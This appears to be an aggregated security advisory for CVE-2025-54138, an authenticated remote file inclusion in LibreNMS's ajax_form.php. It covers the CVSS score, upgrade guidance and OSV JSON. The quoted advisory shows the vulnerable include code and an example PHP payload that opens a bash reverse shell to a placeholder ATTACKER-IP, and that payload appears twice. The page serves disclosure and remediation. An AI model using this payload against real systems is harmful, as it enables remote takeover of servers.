CVE-2025-54138: Librenms/librenms Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-gq96-8w38-hhj2
CVSS 7.5
CWE-98
Published
Advisory Summary

CVE-2025-54138 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')) affecting Librenms/librenms libraries in the Packagist ecosystem. The issue involves librenms has authenticated remote file inclusion in ajax_form.php that allows rce. Remediation is available by upgrading affected packages to version 25.7.0.

CVE-2025-54138 at a Glance

CVE Identifier CVE-2025-54138
GHSA Identifier GHSA-gq96-8w38-hhj2
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Affected Product Librenms/librenms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-54138

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 25.7.0
Upgrade librenms/librenms to 25.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-54138, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 25.7.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), where the php application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting: ```php if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) { include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php'; } ``` This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. > This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory. # Conditions for Exploitation - Attacker must be authenticated - Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink) # Example Impact (RCE) If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context: ```php <?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?> ``` https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812 --- # Recommended Fix - Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. - Avoid passing raw POST input into `include_once`. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).

CVE-2025-54138 Affected Librenms/librenms Versions

1 component(s)
Fixed Versions:
25.7.0
Product / Package Ecosystem Affected Versions Fixed Version
librenms/librenms
Packagist
< 25.7.0
25.7.0

References

Frequently Asked Questions

What is CVE-2025-54138?
CVE-2025-54138 is a security vulnerability in Librenms/librenms involving LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').
Which Librenms/librenms versions are affected?
Affected versions include releases prior to 25.7.0 across affected packages: librenms/librenms.
What version fixes CVE-2025-54138?
Upgrading to 25.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is librenms/librenms affected?
Yes, librenms/librenms is affected in releases prior to 25.7.0. Upgrade your dependency to 25.7.0 or later.
What is the CVSS score of CVE-2025-54138?
CVE-2025-54138 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-54138?
CVE-2025-54138 is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.).
How can I check Packagist dependencies for CVE-2025-54138?
Run the dependency tree command: 'inspect dependencies for librenms/librenms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gq96-8w38-hhj2",
  "modified" : "2025-07-23T13:37:00Z",
  "published" : "2025-07-21T21:10:51Z",
  "aliases" : [ "CVE-2025-54138" ],
  "summary" : "LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE",
  "details" : "LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. \n\nThe application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:\n\n```php\nif (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {\n    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';\n}\n```\nThis pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.\n\n>  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.\n\n# Conditions for Exploitation\n\n- Attacker must be authenticated    \n- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)        \n\n# Example Impact (RCE)\n\nIf a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:\n\n```php\n<?php system('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1\"'); ?>\n```\nhttps://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812\n\n\n---\n\n# Recommended Fix\n\n- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. \n- Avoid passing raw POST input into `include_once`.\n- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "25.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54138"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/pull/17990"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/25.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-98" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-21T21:10:51Z",
    "nvd_published_at" : "2025-07-22T22:15:38Z"
  }
}